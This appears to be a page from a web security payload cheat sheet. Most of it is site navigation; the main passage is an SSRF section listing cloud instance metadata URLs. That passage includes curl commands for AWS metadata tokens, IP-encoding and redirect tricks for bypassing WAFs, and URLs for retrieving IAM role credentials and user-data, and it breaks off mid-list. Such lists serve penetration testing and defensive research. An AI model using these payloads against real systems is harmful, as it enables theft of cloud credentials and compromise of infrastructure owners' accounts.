<a href="#ssrf-url-for-aws-lambda" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS Lambda
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-google-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Google Cloud
</span>
</a>
<nav class="md-nav" aria-label="SSRF URL for Google Cloud">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#add-an-ssh-key" class="md-nav__link">
<span class="md-ellipsis">
Add an SSH key
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-digital-ocean" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Digital Ocean
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-packetcloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Packetcloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-azure" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-openstackrackspace" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for OpenStack/RackSpace
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-hp-helion" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for HP Helion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-oracle-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Oracle Cloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-alibaba" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Alibaba
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-hetzner-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Hetzner Cloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-kubernetes-etcd" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Kubernetes ETCD
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-docker" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-rancher" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Rancher
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws-ecs" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS ECS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws-elastic-beanstalk" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS Elastic Beanstalk
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws-lambda" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS Lambda
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-google-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Google Cloud
</span>
</a>
<nav class="md-nav" aria-label="SSRF URL for Google Cloud">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#add-an-ssh-key" class="md-nav__link">
<span class="md-ellipsis">
Add an SSH key
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-digital-ocean" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Digital Ocean
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-packetcloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Packetcloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-azure" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-openstackrackspace" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for OpenStack/RackSpace
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-hp-helion" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for HP Helion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-oracle-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Oracle Cloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-alibaba" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Alibaba
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-hetzner-cloud" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Hetzner Cloud
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-kubernetes-etcd" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Kubernetes ETCD
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-docker" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-rancher" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Rancher
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
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</div>
<div class="md-content" data-md-component="content">
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<h1 id="ssrf-url-for-cloud-instances">SSRF URL for Cloud Instances</h1>
<blockquote>
<p>When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#ssrf-url-for-aws-bucket">SSRF URL for AWS Bucket</a></li>
<li><a href="#ssrf-url-for-aws-ecs">SSRF URL for AWS ECS</a></li>
<li><a href="#ssrf-url-for-aws-elastic-beanstalk">SSRF URL for AWS Elastic Beanstalk</a></li>
<li><a href="#ssrf-url-for-aws-lambda">SSRF URL for AWS Lambda</a></li>
<li><a href="#ssrf-url-for-google-cloud">SSRF URL for Google Cloud</a></li>
<li><a href="#ssrf-url-for-digital-ocean">SSRF URL for Digital Ocean</a></li>
<li><a href="#ssrf-url-for-packetcloud">SSRF URL for Packetcloud</a></li>
<li><a href="#ssrf-url-for-azure">SSRF URL for Azure</a></li>
<li><a href="#ssrf-url-for-openstackrackspace">SSRF URL for OpenStack/RackSpace</a></li>
<li><a href="#ssrf-url-for-hp-helion">SSRF URL for HP Helion</a></li>
<li><a href="#ssrf-url-for-oracle-cloud">SSRF URL for Oracle Cloud</a></li>
<li><a href="#ssrf-url-for-kubernetes-etcd">SSRF URL for Kubernetes ETCD</a></li>
<li><a href="#ssrf-url-for-alibaba">SSRF URL for Alibaba</a></li>
<li><a href="#ssrf-url-for-hetzner-cloud">SSRF URL for Hetzner Cloud</a></li>
<li><a href="#ssrf-url-for-docker">SSRF URL for Docker</a></li>
<li><a href="#ssrf-url-for-rancher">SSRF URL for Rancher</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="ssrf-url-for-aws">SSRF URL for AWS</h2>
<p>The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories">Docs</a></p>
<ul>
<li>IPv4 endpoint (old): <code>http://169.254.169.254/latest/meta-data/</code></li>
<li>
<p>IPv4 endpoint (new) requires the header <code>X-aws-ec2-metadata-token</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">export</span> <span class="n">TOKEN</span><span class="p">=`</span><span class="nb">curl </span><span class="n">-X</span> <span class="n">PUT</span> <span class="n">-H</span> <span class="s2">&quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;</span> <span class="s2">&quot;http://169.254.169.254/latest/api/token&quot;</span><span class="p">`</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="nb">curl </span><span class="n">-H</span> <span class="s2">&quot;X-aws-ec2-metadata-token:$TOKEN&quot;</span> <span class="n">-v</span> <span class="s2">&quot;http://169.254.169.254/latest/meta-data&quot;</span>
</code></pre></div></p>
</li>
<li>
<p>IPv6 endpoint: <code>http://[fd00:ec2::254]/latest/meta-data/</code> </p>
</li>
</ul>
<p>In case of a WAF, you might want to try different ways to connect to the API.</p>
<ul>
<li>
<p>DNS record pointing to the AWS API IP
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">http</span><span class="p">://</span><span class="n">instance-data</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">nip</span><span class="p">.</span><span class="n">io</span><span class="p">/</span>
</code></pre></div></p>
</li>
<li>
<p>HTTP redirect
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">Static</span><span class="p">:</span><span class="n">http</span><span class="p">://</span><span class="n">nicob</span><span class="p">.</span><span class="n">net</span><span class="p">/</span><span class="n">redir6a</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">Dynamic</span><span class="p">:</span><span class="n">http</span><span class="p">://</span><span class="n">nicob</span><span class="p">.</span><span class="n">net</span><span class="p">/</span><span class="n">redir-http</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">:</span><span class="n">80</span><span class="p">-</span>
</code></pre></div></p>
</li>
<li>
<p>Encoding the IP to bypass WAF
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">http</span><span class="p">://</span><span class="n">425</span><span class="p">.</span><span class="n">510</span><span class="p">.</span><span class="n">425</span><span class="p">.</span><span class="n">510</span> <span class="n">Dotted</span> <span class="n">decimal</span> <span class="n">with</span> <span class="n">overflow</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="n">http</span><span class="p">://</span><span class="n">2852039166</span> <span class="n">Dotless</span> <span class="n">decimal</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="n">http</span><span class="p">://</span><span class="n">7147006462</span> <span class="n">Dotless</span> <span class="n">decimal</span> <span class="n">with</span> <span class="n">overflow</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="n">http</span><span class="p">://</span><span class="n">0xA9</span><span class="p">.</span><span class="n">0xFE</span><span class="p">.</span><span class="n">0xA9</span><span class="p">.</span><span class="n">0xFE</span> <span class="n">Dotted</span> <span class="n">hexadecimal</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="n">http</span><span class="p">://</span><span class="n">0xA9FEA9FE</span> <span class="n">Dotless</span> <span class="n">hexadecimal</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="n">http</span><span class="p">://</span><span class="n">0x41414141A9FEA9FE</span> <span class="n">Dotless</span> <span class="n">hexadecimal</span> <span class="n">with</span> <span class="n">overflow</span>
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="n">http</span><span class="p">://</span><span class="n">0251</span><span class="p">.</span><span class="n">0376</span><span class="p">.</span><span class="n">0251</span><span class="p">.</span><span class="n">0376</span> <span class="n">Dotted</span> <span class="n">octal</span>
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="n">http</span><span class="p">://</span><span class="n">0251</span><span class="p">.</span><span class="n">00376</span><span class="p">.</span><span class="n">000251</span><span class="p">.</span><span class="n">0000376</span> <span class="n">Dotted</span> <span class="n">octal</span> <span class="n">with</span> <span class="n">padding</span>
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a><span class="n">http</span><span class="p">://</span><span class="n">0251</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span> <span class="n">Mixed</span> <span class="n">encoding</span> <span class="p">(</span><span class="n">dotted</span> <span class="n">octal</span> <span class="p">+</span> <span class="n">dotted</span> <span class="n">decimal</span><span class="p">)</span>
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a><span class="n">http</span><span class="p">://[::</span><span class="n">ffff</span><span class="p">:</span><span class="n">a9fe</span><span class="p">:</span><span class="n">a9fe</span><span class="p">]</span> <span class="n">IPV6</span> <span class="n">Compressed</span>
<a id="__codelineno-3-11" name="__codelineno-3-11" href="#__codelineno-3-11"></a><span class="n">http</span><span class="p">://[</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">ffff</span><span class="p">:</span><span class="n">a9fe</span><span class="p">:</span><span class="n">a9fe</span><span class="p">]</span> <span class="n">IPV6</span> <span class="n">Expanded</span>
<a id="__codelineno-3-12" name="__codelineno-3-12" href="#__codelineno-3-12"></a><span class="n">http</span><span class="p">://[</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">ffff</span><span class="p">:</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">]</span> <span class="n">IPV6</span><span class="p">/</span><span class="n">IPV4</span>
<a id="__codelineno-3-13" name="__codelineno-3-13" href="#__codelineno-3-13"></a><span class="n">http</span><span class="p">://[</span><span class="n">fd00</span><span class="p">:</span><span class="n">ec2</span><span class="p">::</span><span class="n">254</span><span class="p">]</span> <span class="n">IPV6</span>
</code></pre></div></p>
</li>
</ul>
<p>These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">iam</span><span class="p">/</span><span class="n">security-credentials</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">iam</span><span class="p">/</span><span class="n">security-credentials</span><span class="p">/</span><span class="no">[ROLE NAME]</span>
</code></pre></div>
<p>This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">user-data</span>
</code></pre></div>
<p>Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">ami-id</span>
